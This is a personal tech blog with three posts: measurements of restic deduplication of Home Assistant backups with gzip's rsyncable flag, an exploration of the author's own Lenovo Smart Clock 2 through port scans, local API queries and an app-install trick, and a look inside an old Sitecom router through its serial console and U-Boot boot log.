Habbie's journal

Home Assistant backups, restic, gzip’s rsyncable flag

2024-07-08T19:17:02+02:00

tl;dr: if gzip and restic interact anywhere for you, you should consider passing --rsyncable to gzip, or not using gzip at all.

tl;dr2: Click here to read the summary right now.

Like many people, I have a Home Assistant installation. Mine does not control many things, but it collects a lot from various sensors and devices around the house. Besides Home Assistant’s own database with short and long term storage, I use InfluxDB as HA addon. This means that HA backups are also InfluxDB backups.

Over the course of a few years I have, apparently, collected 354 Home Assistant backups in a restic repository. The oldest one is around 300 MB; the newest, 1.4GB.

Background

Home Assistant backups look like this:

$ ssh root@XX

| |  | |                          /\           (_)   | |            | |  
| |__| | ___  _ __ ___   ___     /  \   ___ ___ _ ___| |_ __ _ _ __ | |_ 
|  __  |/ _ \| '_ \ _ \ / _ \   / /\ \ / __/ __| / __| __/ _\ | '_ \| __|
| |  | | (_) | | | | | |  __/  / ____ \\__ \__ \ \__ \ || (_| | | | | |_ 
|_|  |_|\___/|_| |_| |_|\___| /_/    \_\___/___/_|___/\__\__,_|_| |_|\__|

Welcome to the Home Assistant command line.

[core-ssh ~]$ cd backup
[core-ssh backup]$ ls -al
total 10583052
drwxr-xr-x    3 root     root          4096 Jul  6 00:00 .
drwxr-xr-x    1 root     root          4096 Jul  4 13:22 ..
-rw-r--r--    1 root     root     1559705600 Jul  3 00:00 277e0264.tar
-rw-r--r--    1 root     root     1559388160 Jul  2 00:00 3456e3c7.tar
-rw-r--r--    1 root     root     1558886400 Jul  1 00:00 4303e28c.tar
-rw-r--r--    1 root     root     1560238080 Jul  4 00:00 77a4287d.tar
-rw-r--r--    1 root     root     1557125120 Jun 30 00:00 7b821e1e.tar
-rw-r--r--    1 root     root     1522309120 Jul  6 00:00 d6400715.tar
-rw-r--r--    1 root     root     1519339520 Jul  5 00:00 f0eba8bf.tar
[core-ssh backup]$ tar tvf 277e0264.tar 
-rw-r--r-- 0/0     10510 2024-07-03 00:00:02 core_ssh.tar.gz
-rw-r--r-- 0/0      1800 2024-07-03 00:00:02 a0d7b954_aircast.tar.gz
-rw-r--r-- 0/0      2381 2024-07-03 00:00:02 15ef4d2f_esphome.tar.gz
-rw-r--r-- 0/0 1309290473 2024-07-03 00:00:02 a0d7b954_influxdb.tar.gz
-rw-r--r-- 0/0  36485918 2024-07-03 00:00:41 a0d7b954_tautulli.tar.gz
-rw-r--r-- 0/0     52714 2024-07-03 00:00:43 a0d7b954_grafana.tar.gz
-rw-r--r-- 0/0      2008 2024-07-03 00:00:43 a0d7b954_wireguard.tar.gz
-rw-r--r-- 0/0      1905 2024-07-03 00:00:43 a0d7b954_nodered.tar.gz
-rw-r--r-- 0/0      1560 2024-07-03 00:00:43 a0d7b954_chrony.tar.gz
-rw-r--r-- 0/0      2031 2024-07-03 00:00:43 a0d7b954_ssh.tar.gz
-rw-r--r-- 0/0      2422 2024-07-03 00:00:43 core_mosquitto.tar.gz
-rw-r--r-- 0/0 213812233 2024-07-03 00:00:43 homeassistant.tar.gz
-rw-r--r-- 0/0       205 2024-07-03 00:00:54 share.tar.gz
-rw-r--r-- 0/0       212 2024-07-03 00:00:54 addons_local.tar.gz
-rw-r--r-- 0/0      1961 2024-07-03 00:00:54 ssl.tar.gz
-rw-r--r-- 0/0       288 2024-07-03 00:00:54 media.tar.gz
-rw-r--r-- 0/0      1440 2024-07-03 00:00:53 ./backup.json

Each backup is a tarball, containing a bunch of tar.gz files, including one for each addon, such as influxdb. The oldest influxdb backup is 513MB; the newest, 1.2GB. Clearly Influx is the bulk of my backup data. But Influx is my archive. It barely changes, it just grows a bit. I would love for it to dedup a bit in restic storage!

Those 354 backups, all sitting together in a directory as 354 .tar files, take up 291GB of disk space. A restic repository holding those 354 backups, with compression and deduplication enabled .. take up 291GB of disk space. There is effectively no compression (which is expected, because there’s .gz inside already), and no dedup (which is the sad surprise this article is about):

$ restic -r ha-snapshots-all-together-restic/ stats --mode=raw-data
repository ed03b8ed opened (version 2, compression level auto)
Stats in raw-data mode:
     Snapshots processed:  1
        Total Blob Count:  199240
 Total Uncompressed Size:  289.952 GiB
              Total Size:  288.845 GiB
    Compression Progress:  100.00%
       Compression Ratio:  1.00x
Compression Space Saving:  0.38%

(The alert reader will notice that I only have one snapshot. I am assuming that restic dedup works as well within one snapshot as between snapshots, so I simplified the experiment by just backing up the one dir full of tars directly. My actual backup repository - the source of all these tarballs - has these 354 tarballs spread out over a few hundred snapshots, but with similar results: effectively no dedup).

It seems obvious that the .gz in the tarball stack is the reason restic cannot dedup. (Spoiler alert: it is). Let’s find out how we can improve that.

I have extensive notes on the steps I took to get all these numbers, so please feel free to ask questions.

Unpack the tarballs once

I unpacked the tarballs once. In the process, I found some of the tarballs were corrupted and/or truncated. This has introduced around 1-2GB of noise into these measurements. I believe this to be irrelevant to the end result. (To be clear, I think the tarball truncation is my own fault, and not a problem in HA. I keep forgetting that rsync -P includes --partial and most likely moved some backups from HA to restic via an undersized intermediate filesystem.)

My source now looks like this:

ha-snapshots-unpacked-once$ find . | head
.
./cff234c8.tar
./cff234c8.tar/15ef4d2f_esphome.tar.gz
./cff234c8.tar/a0d7b954_nodered.tar.gz

etc.

This takes up 291GB of disk space, and restic manages to squeeze it into 289GB.

Clearly the outside tar layer is not the problem.

Decompress

I gunziped all the .gz files. Looks like this (funny how the order of files has changed):

ha-snapshots-unpacked-twice$ find . | head
.
./cff234c8.tar
./cff234c8.tar/core_ssh.tar
./cff234c8.tar/share.tar

etc.

This takes up a whopping 713GB of disk space. Restic packs it down to 40GB.

Forty. Gigabyte.

If I am reading this correctly:

     Snapshots processed:  1
        Total Blob Count:  211179
 Total Uncompressed Size:  140.975 GiB
              Total Size:  39.799 GiB
    Compression Progress:  100.00%
       Compression Ratio:  3.54x
Compression Space Saving:  71.77%

deduplication stored 713GB in 141GB. Compression then gave us another 100GB.

It turns out (unsurprisingly, I guess) that this is the best number we are going to get.

gzip’s rsyncable flag

At some point, I ran into a blog post that mentioned that restic was smart about dedup, and did not need things to be identical at block boundaries. This reminded me of gzip --rsyncable. Martin Pool describes it well:

There is a patch called --rsyncable for gzip that fixes this behaviour: gzip files are basically broken up into blocks so that changes (including insertion or deletion) in the input file affect only the corresponding blocks in the output file. (The blocks are not of fixed size, but rather delimited by marker patterns at which a checksum hits a particular value, so they move as data is inserted or removed.)

So, I recompressed all inside tarballs with gzip --rsyncable -9. I used -9 because the couple of HA backups I checked manually reported max compression when inspected with file. I later found out that in late 2023, HA stopped using max compression. Me doing -9 while HA no longer does it will skew these numbers a bit, but not in any interesting way I think.

My source looks like this:

ha-snapshots-unpacked-twice-repack-gzip-rsyncable$ find . | head
.
./cff234c8.tar
./cff234c8.tar/15ef4d2f_esphome.tar.gz
./cff234c8.tar/a0d7b954_nodered.tar.gz

It takes up 289GB of disk space, almost identical to our starting size.

Restic stores it in 58 GB:

Stats in raw-data mode:
     Snapshots processed:  1
        Total Blob Count:  41780
 Total Uncompressed Size:  59.175 GiB
              Total Size:  57.681 GiB
    Compression Progress:  100.00%
       Compression Ratio:  1.03x
Compression Space Saving:  2.52%

In other words: if we could patch Home Assistant to make rsyncable gzips, my backup storage would go from 290GB to 58GB. That’s not my earlier 40GB mark, but it is a very nice improvement, and it would come at only little cost to users who do not store their backups in restic or something else that dedups and compresses.

Curious about the actual effects of --rsyncable, I did a comparison on a single InfluxDB backup:

source	result
from HA	`772M ha-snapshots-unpacked-once/3bf092f5.tar/a0d7b954_influxdb.tar.gz` (`file` says `max compression`)
`gzip -9`	`772M a0d7b954_influxdb.tar.gz`
`gzip -9 --rsyncable`	`779M a0d7b954_influxdb.tar.gz`
`gzip --rsyncable`	`787M ha-snapshots-unpacked-twice-repack-gzip-rsyncable/3bf092f5.tar/a0d7b954_influxdb.tar.gz`
after gunzip	`1.8G ha-snapshots-unpacked-twice/3bf092f5.tar/a0d7b954_influxdb.tar`

Observations:

gzip -9 matches the original size (this is a backup from 2023)
-9 --rsyncable is about 1% bigger than just -9

tar it up again

At this point, somebody asked me about block boundaries, and I said that my understanding was that restic did not care about them that much for dedup. But just to be sure, I did the -actual- experiment of what things would look like if HA made rsyncable .gz.

Source looks like this now:

ha-snapshots-unpacked-twice-repack-gzip-rsyncable-tar$ ls | head
00cceeff.tar
0123b63e.tar
03a06fae.tar

Presumably, HA should be able to restore from these files (except for the fact that I accidentally also gzipped the 2KB backup.json file HA sticks in each backup with some metadata).

This, again, takes up 289 GB.

Restic stores it in 56 GB:

Stats in raw-data mode:
     Snapshots processed:  1
        Total Blob Count:  37018
 Total Uncompressed Size:  57.161 GiB
              Total Size:  55.742 GiB
    Compression Progress:  100.00%
       Compression Ratio:  1.03x
Compression Space Saving:  2.48%

I cannot explain how this is 2 GB smaller than the previous mode.

Table of results

format	source size	restic size
354 original HA backups	291 GB	291 GB
untar once	291 GB	289 GB
untar+gunzip	713 GB	40 GB
untar+gunzip+gzip -9 –rsyncable	289GB	58 GB
untar+gunzip+gzip -9 –rsyncable+tar	289 GB	56 GB

Summary

Summarised, my results say:

having HA not compress would cost a bit of disk space temporarily, while allowing restic to save a boatload of space for a long time
having HA compress in --rsyncable would cost almost no extra space temporarily, and allow restic to still save a lot of space

Where I say “temporarily”, for some users this might be their forever, because they store the backups into non-dedup storage – or maybe even dedup storage that has different magic dust than restic does.

A secondary conclusion, of course, is “a bit of postprocessing of the HA tarball before it goes into restic provides these benefits too”.

As suggested above, Home Assistant uses securetar to generate backups, presumably because backups can optionally be encrypted. securetar itself relies on Python’s tarfile, which uses the Python gzip library for compression. This library does not expose anything like the --rsyncable flag, sadly. In gzip --rsyncable, the implementation of that periodic reset is, and this came as a surprise to me, implemented in the gzip binary, not in the zlib library.

Next steps

Given that we cannot easily make HA’s archives rsyncable, what remains is optionally making them uncompressed. I added a comment to the HA feature request “Allow backup compression parameters”. Please hit the Vote button!

A bigger job would be to add rsyncable support to (Python’s) zlib. I suspect this would make a lot of people happy - surely HA’s backups are not the only archives people routinely add to restic repositories.

As an alternative to patching HA, whatever method people use to get those backups into restic could do some processing on the backup to make it more suitable for dedup.

Also, somebody should write a tool to “reformat” existing restic repos full of HA tarballs. In fact, once that tool exists, just running it periodically, with no changes to HA, would also yield all the space saving benefits.

Extra note: rvdm pointed out to me that zstd also has a --rsyncable flag, and that one -is- exposed as part of the zstd library. This means that a Python wrapper for that library could offer the flag, and HA could switch to rsyncable zstd, which could be a default that gives us the best of both worlds (decent compression for everybody, and decent dedup for restic users).

Lenovo Smart Clock 2: unboxing and exploration

2023-03-20T19:17:09+01:00

If you’ve seen YouTube unboxing videos, this is not that. There is no video here (although I think unboxing videos are great and more people should do them of more devices!) and what you’ll find described below has little to do with direct user experience.

The Lenovo Smart Clock 2 looks like a fun little device. It is sold as, well, a Smart Clock, but a quick web search clarifies what it is: a MT8167S Android 10 device with WiFi, BlueTooth, a 4 inch IPS 800x400 touch screen, 1 gigabyte of RAM, 8 gigabyte of flash, and apparently a pretty decent speaker. I managed to snag one at 30 EUR, which seems like a steal for such a device. Specification wise, it appears to be roughly on par with a Raspberry Pi 3 — plus, again, WiFi, BT, storage, and a screen.

As sold, a Google “Smart Display”, it already seems fun. If it had line out for audio, it might also be the perfect music player for me.

However, that is not my primary interest. Can we make this a nice Home Assistant controller? A cheap Streamdeck equivalent? Or, given its specifications, a small home server (for Home Assistant or some other service) that also happens to be a nice looking screen?

I found two interesting threads on the XDA Forums:

Lets get started on the Lenovo Smart Clock 2! - when I ordered the clock, this thread had a few teardown photos, but by now people have managed to get USB and adb going! I suggest keeping an eye on this thread.
Guide installing android apps on the lenovo smart clock 2. - this thread provides a brief guide to install Android apps on the clock, which very quickly extends the possibilities.

I especially enjoyed that second thread. The guide, as it currently stands there, is good (and functional) but some of the steps seemed entirely alien to me. In a future post, I will take the method described in it, explain the parts from which that method is composed, and also offer a few new tricks.

But, that post is not this post. In this post, I will unpack the clock and dig around in other ways.

Unpacking and first explorations

The inside of the box greets us with a very sleek looking device with a body covered in a nice fabric. (Also, a power adapter and a booklet).

On startup, we are greeted with a very short setup hint.

Note that it says “Nest” !

My impression is that Google has tied a bunch of device types under a Nest or Nest-like moniker - all the page tells you to do is open the Google Home app anyway. (Honestly, after starting the Google Home app, I was somewhat lost. The next steps to take could have been outlined more clearly.)

Now, I did not immediately proceed to follow these instructions. Clearly the device is, itself, waiting for instructions. Maybe we can give it some?

On the screen, we see the current Build version (1.52.257161) and what appears to be some unique device ID (bottom right corner, says LenovoCD-24502F1428). At this point, it exposes itself as a Wifi access point with SSID LenovoCD-24502F1428.q003. Connecting to it yields us an IP in the 192.168.43.0/24 range, with default gateway also set to an IP in the range. Between reboots, the IP it picks in this range appears to vary.

Here’s some nmap output:

Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-26 23:26 CET
Nmap scan report for 192.168.43.166 (192.168.43.166)
Host is up (0.084s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
8008/tcp  open  http
8009/tcp  open  ajp13
8443/tcp  open  https-alt
9000/tcp  open  cslistener
10001/tcp open  scp-config
MAC Address: 32:86:AC:C2:02:D6 (Unknown)

Some quick investigation followed. (Unfold to read.)

Port 8008:

$ curl -v 192.168.43.166:8008
*   Trying 192.168.43.166:8008...
* Connected to 192.168.43.166 (192.168.43.166) port 8008 (#0)
> GET / HTTP/1.1
> Host: 192.168.43.166:8008
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Content-Length:0
< Content-Type:text/html
< 
* Connection #0 to host 192.168.43.166 left intact

Port 8009 closed our connection when we tried to speak HTTP. No TLS handshake either.

Port 8443 appeared to be quite similar to 8008, but with HTTPS: (note the certificate data)

$ curl -kv https://192.168.43.166:8443
*   Trying 192.168.43.166:8443...
* Connected to 192.168.43.166 (192.168.43.166) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=0838E6334B8C7315FFFF FA:8F:CA:7D:DD:81
*  start date: Mar 10 09:51:23 2021 GMT
*  expire date: Mar  5 09:51:23 2041 GMT
*  issuer: C=CN; ST=BJ; L=Beijing; O=LENOVO; OU=Cast; CN=LENOVO SmartClock Cast AIVision
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
> GET / HTTP/1.1
> Host: 192.168.43.166:8443
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Content-Length:0
< Content-Type:text/html
<
* Connection #0 to host 192.168.43.166 left intact

Port 9000 speaks TLS but not HTTP(S):

$ curl -kv https://192.168.43.166:9000
*   Trying 192.168.43.166:9000...
* Connected to 192.168.43.166 (192.168.43.166) port 9000 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Request CERT (13):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS alert, handshake failure (552):
* error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure
* Closing connection 0
curl: (35) error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure

Assuming I found nothing new here, I search the web a bit, and found a post called Google Home (in)Security from 2018 which explores the ports I found in some more depth. Based on the information in that post, I did a few more requests.

(Note that I rebooted meanwhile - the reboot command from that post worked! If you’re wondering why the IP is different in the pastes below, that is why.)

"eureka info"

$ curl  -kv https://192.168.43.225:8443/setup/eureka_info | jq
*   Trying 192.168.43.225:8443...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to 192.168.43.225 (192.168.43.225) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [91 bytes data]
* TLSv1.2 (IN), TLS handshake, Certificate (11):
{ [2924 bytes data]
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
{ [300 bytes data]
* TLSv1.2 (IN), TLS handshake, Server finished (14):
{ [4 bytes data]
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
} [37 bytes data]
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.2 (OUT), TLS handshake, Finished (20):
} [16 bytes data]
* TLSv1.2 (IN), TLS handshake, Finished (20):
{ [16 bytes data]
* SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=0838E6334B8C7315FFFF FA:8F:CA:7D:DD:81
*  start date: Mar 10 09:51:23 2021 GMT
*  expire date: Mar  5 09:51:23 2041 GMT
*  issuer: C=CN; ST=BJ; L=Beijing; O=LENOVO; OU=Cast; CN=LENOVO SmartClock Cast AIVision
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
} [5 bytes data]
> GET /setup/eureka_info HTTP/1.1
> Host: 192.168.43.225:8443
> User-Agent: curl/7.74.0
> Accept: */*
> 
{ [5 bytes data]
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Headers:Content-Type
< Cache-Control:no-cache
< Content-Length:1202
< Content-Type:application/json
< 
{ [1202 bytes data]
100  1202  100  1202    0     0  15815      0 --:--:-- --:--:-- --:--:-- 16026
* Connection #0 to host 192.168.43.225 left intact
{
  "bssid": "",
  "build_version": "257161",
  "cast_build_revision": "1.52.257161",
  "closed_caption": {},
  "connected": false,
  "ethernet_connected": false,
  "has_update": false,
  "hotspot_bssid": "FA:8F:CA:7D:DD:81",
  "locale": "de-DE",
  "location": {
    "country_code": "EU",
    "latitude": 255,
    "longitude": 255
  },
  "mac_address": "00:00:00:00:00:00",
  "name": "LenovoCD-24502F1428",
  "opt_in": {
    "crash": true,
    "opencast": false,
    "stats": true
  },
  "public_key": "MIIBCgKCAQEAt5c+s7LxGZVX3WHhGPLOzX3JzmOGxQ7ZhRC4gCsnsIXxMPIkCMnodm6f3PyU09Vi/hDVyjYnviKJM+XiCHpc2NyvapYXIcX3DJhkqUeqA4HYYc7GiRLs3RoRxQ/T+w2aPq7poE3zKssZJF4iZN3ZtRdmO5a/raQMQ5vJerUd052LQVIsXKkarhGhz5xHHB0vd8ZdEB02sJygvs1AFbJVk3tEOC27QtlYqKd3X2nwqPUcoS/3bHwtqN0INGALGqvHgmVrvPXs9X5Q8ShBOtnIA4Kjhhup0x3V+HC/g5QXYjhiAED+a0vAuNobNpaeJ4GVaomqaWf1nvJSoKvxM6lsVwIDAQAB",
  "release_track": "",
  "setup_state": 10,
  "setup_stats": {
    "historically_succeeded": true,
    "num_check_connectivity": 0,
    "num_connect_wifi": 0,
    "num_connected_wifi_not_saved": 0,
    "num_initial_eureka_info": 0,
    "num_obtain_ip": 0
  },
  "ssdp_udn": "32b180df-c0e6-a3d9-be80-2d9d8b72831e",
  "ssid": "",
  "time_format": 1,
  "tos_accepted": false,
  "uma_client_id": "53f581f4-2499-4140-ae99-7feaa8afb847",
  "uptime": 129.722581,
  "version": 10,
  "wpa_configured": false,
  "wpa_state": 1
}

SSDP device description

$ curl   -kv http://192.168.43.225:8008/ssdp/device-desc.xml
*   Trying 192.168.43.225:8008...
* Connected to 192.168.43.225 (192.168.43.225) port 8008 (#0)
> GET /ssdp/device-desc.xml HTTP/1.1
> Host: 192.168.43.225:8008
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Application-URL:http://192.168.43.225:8008/apps/
< Content-Length:1085
< Content-Type:application/xml
< 
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://192.168.43.225:8008</URLBase>
  <device>
    <deviceType>urn:dial-multiscreen-org:device:dial:1</deviceType>
    <friendlyName>LenovoCD-24502F1428</friendlyName>
    <manufacturer>LENOVO</manufacturer>
    <modelName>LenovoCD-24502F</modelName>
    <UDN>uuid:32b180df-c0e6-a3d9-be80-2d9d8b72831e</UDN>
    <iconList>
      <icon>
        <mimetype>image/png</mimetype>
        <width>98</width>
        <height>55</height>
        <depth>32</depth>
        <url>/setup/icon.png</url>
      </icon>
    </iconList>
    <serviceList>
      <service>
        <serviceType>urn:dial-multiscreen-org:service:dial:1</serviceType>
        <serviceId>urn:dial-multiscreen-org:serviceId:dial</serviceId>
        <controlURL>/ssdp/notfound</controlURL>
        <eventSubURL>/ssdp/notfound</eventSubURL>
        <SCPDURL>/ssdp/notfound</SCPDURL>
      </service>
    </serviceList>
  </device>
</root>
* Connection #0 to host 192.168.43.225 left intact

Initial setup

After digging around in the pre-setup environment for a bit, I got my phone with the Google Home app, and proceeded to setup the device. In that process, the Clock downloaded and installed a firmware update, bumping the software version to 1.56.258116.

The `eureka_info` output looked like this for me after setup:

{
  "bssid": "20:e8:82:9b:da:c7",
  "build_version": "285116",
  "cast_build_revision": "1.56.285116",
  "closed_caption": {},
  "connected": true,
  "ethernet_connected": false,
  "has_update": false,
  "hotspot_bssid": "FA:8F:CA:7D:DD:81",
  "ip_address": "192.168.0.17",
  "locale": "en-GB",
  "location": {
    "country_code": "NL",
    "latitude": 255,
    "longitude": 255
  },
  "mac_address": "00:00:00:00:00:00",
  "name": "Office clock",
  "opt_in": {
    "crash": false,
    "opencast": false,
    "stats": false
  },
  "public_key": "MIIBCgKCAQEAt5c+s7LxGZVX3WHhGPLOzX3JzmOGxQ7ZhRC4gCsnsIXxMPIkCMnodm6f3PyU09Vi/hDVyjYnviKJM+XiCHpc2NyvapYXIcX3DJhkqUeqA4HYYc7GiRLs3RoRxQ/T+w2aPq7poE3zKssZJF4iZN3ZtRdmO5a/raQMQ5vJerUd052LQVIsXKkarhGhz5xHHB0vd8ZdEB02sJygvs1AFbJVk3tEOC27QtlYqKd3X2nwqPUcoS/3bHwtqN0INGALGqvHgmVrvPXs9X5Q8ShBOtnIA4Kjhhup0x3V+HC/g5QXYjhiAED+a0vAuNobNpaeJ4GVaomqaWf1nvJSoKvxM6lsVwIDAQAB",
  "release_track": "",
  "setup_state": 60,
  "setup_stats": {
    "historically_succeeded": true,
    "num_check_connectivity": 0,
    "num_connect_wifi": 0,
    "num_connected_wifi_not_saved": 0,
    "num_initial_eureka_info": 0,
    "num_obtain_ip": 0
  },
  "ssdp_udn": "32b180df-c0e6-a3d9-be80-2d9d8b72831e",
  "ssid": "<removed>",
  "time_format": 2,
  "timezone": "Europe/Amsterdam",
  "tos_accepted": true,
  "uptime": 1001.472884,
  "version": 12,
  "wpa_configured": true,
  "wpa_id": 0,
  "wpa_state": 10
}

(I removed the ssid from that output, but note I did not change mac_address, it really has all those zeroes!)

In this updated firmware, even after a factory reset, most of the nicely open APIs we found previously are now closed. Via the blog post I linked before, I found an inofficial API description that also suggests there are ways to authenticate to these APIs. I did not try this.

Teasers

Some teasers for (potential) upcoming posts about this device:

The Home Assistant Android app (with thanks to Guide installing android apps on the lenovo smart clock 2):

No-solder wired interfacing (in progress, waiting for USB sockets from AliExpress) - in case Lets get started on the Lenovo Smart Clock 2! goes anywhere useful.

Update 20 March 2023: I’ve abandoned my draft about installing Android apps because people have now done Youtube videos way more useful than what I had typed so far. The XDA thread links to at least one of them.

The best I’ve seen so far is Bedside Home Assistant Dashboard - Hacking the Lenovo Smart Clock 2 to run Android Apps, which not only shows two ways of getting enough access to install Android apps, it then goes on to seriously customise the device, getting rid of Google Home entirely. I did find a third way to install Android apps, which I’ve now written into a comment under that video, and repeated here:

If you swipe up from the bottom, tap the config wheel and choose “send feedback”, then say something like “install f-droid”, then tap “Account and system information”, your spoken text (‘install f-droid") appears there. Using the accessibility mode, select it, draw an L (start top left), then pick Copy. Then, once you’re in the browser (I used the same method - Privacy policy) you can click the button with the 9 squares and go to search. Then paste your text. This way you don’t need the calendar or a DNS trick.

(Once you install and run F-Droid, you do need to use that opportunity to immediately install a launcher and/or a keyboard, or you won’t be able to get back into F-Droid again, unless you do all the steps again.)

(Also, once you have a launcher, you can get to Android settings and pair a bluetooth keyboard, which is super convenient.)

Router Archeology: Sitecom WL-330

2022-05-05T23:01:33+02:00

I like taking things apart, figuring out how they work, and see if they can perhaps gain a bit of Open Source, either by replacing existing software (as is commonly done with OpenWrt for replacing router vendor firmware, ESPHome for replacing firmware on ESP devices, etc.) or by adding some hardware that can run the code I want.

However, taking things apart, maybe even soldering some pins, or desoldering a flash chip to read it, is scary. Over the last few years I’ve been working myself up from hacking on 5 EUR devices (Wemos D1 Mini) to 20-30 EUR devices (I recently dared to solder pin headers to the Silvercrest/Lidl Zigbee gateway - I know, it’s only pin headers, but I’m taking it slow. I also put together an airRohr recently, which involved soldering tons of wires to three devices).

Getting good at something means doing it a lot. Doing something that may destroy devices a lot costs money. So, I went to the local thrift store, looking for hardware to poke at. I found two old Sitecom APs/repeaters - a WL-330 and a WL-114, for € 2.50 each. A steal! This post is about the WL-330, or “Wireless Range Extender N300”. It’s not a very useful device in 2022, but it has all the parts that routers have today - a semi-decent SoC, some RAM, some flash, one Ethernet port, and of course, WiFi.

The text below was written weeks after I actually did all of this poking. There may be accidental omissions, and mistakes.

Bonus: album of web interface pictures full of nostalgia for the Dutch Internet in the late nineties, from the WL-114 interface.

Opening, serial

Step one - open it up. Just a few screws at the bottom and the top came off nicely:

There’s lots to see here! Two antenna connectors at the top, with the Ethernet port in the middle. To the right of that, an unpopulated spot that really looks it could be USB? Bottom left (“MXIC”) is a flash chip. The CPU, in the middle, has no useful markings. I’ve documented what I know on wikidevi.

Bottom middle, marked JP2, we find 4 unpopulated holes, one of which is square. I’ve learned over time that such a set is quite likely to offer serial console. Armed with my multimeter, I tried to figure out what hole is what. GND is easy - it usually offers little to zero Ω of resistance to actual ground (the outside of the barrel jack power connector). With GND sorted, I found two pins at 3V3 compared to GND. One of those is actual 3V3 - we’re going to ignore that. The other one likely is TX (in TTL serial, an idle TX is at Vcc, which is 3V3 for this board).

I did not solder - JP2 is nicely located near the edge of the board, which means this debugging clip (2.54mm, single row is the one I used here) would easily fit right on the edge of the board:

The left 3 wires go to a USB-serial TTL adapter. If you don’t have one, the right pins on a Raspberry Pi also work.

With serial connected, I powered the device up.

Boot

U-Boot greeted me:

U-Boot 1.1.3 (Nov  7 2008 - 13:35:55)

Board: Ralink APSoC DRAM:  16 MB
relocate_code Pointer at: 80fa8000
****************************
Init GPIO Pin****************************
flash_protect ON: from 0xBFC00000 to 0xBFC26213
protect on 0
protect on 1
protect on 2
protect on 3
protect on 4
protect on 5
protect on 6
protect on 7
protect on 8
protect on 9
flash_protect ON: from 0xBFC30000 to 0xBFC3FFFF
protect on 10
*** Warning - bad CRC, using default environment

============================================ 
Ralink UBoot Version: 3.1
-------------------------------------------- 
ASIC 3052_MP1 (MAC to GigaMAC Mode)
DRAM COMPONENT: 256Mbits 
DRAM BUS: 16BIT 
Total memory: 32 MBytes
Flash: 4 MBytes
Date:Nov  7 2008  Time:13:35:55
============================================ 
icache: sets:256, ways:4, linesz:32 ,total:32768
dcache: sets:128, ways:4, linesz:32 ,total:16384 

 ##### The CPU freq = 384 MHZ #### 

SDRAM bus set to 16 bit 
 SDRAM size =16 Mbytes

Please choose the operation: 
   0: Load ucos code to SDRAM via TFTP Client. 
   1: Load system code to SDRAM via TFTP. 
   2: Load system code then write to Flash via TFTP. 
   3: Boot system code via Flash (default).
   4: Entr boot command line interface.
   9: Load Boot Loader code then write to Flash via TFTP.

and proceeded with option 3 after a second:

You choosed 3

^H^H^H 0 
   
3: System Boot system code via Flash.
## Booting image at bfc50000 ...
Bad Magic Number,43535953 
   Image Name:   Linux Kernel Image
   Created:      2009-01-15   3:11:08 UTC

 System Control Status = 0x20440000 
   Image Type:   MIPS Linux Kernel Image (lzma compressed)
   Data Size:    3059628 Bytes =  2.9 MB
   Load Address: 80000000
   Entry Point:  8028f000
   Verifying Checksum ... OK
   Uncompressing Kernel Image ... OK
No initrd
## Transferring control to Linux (at address 8028f000) ...
## Giving linux memsize in MB, 16

Starting kernel ...

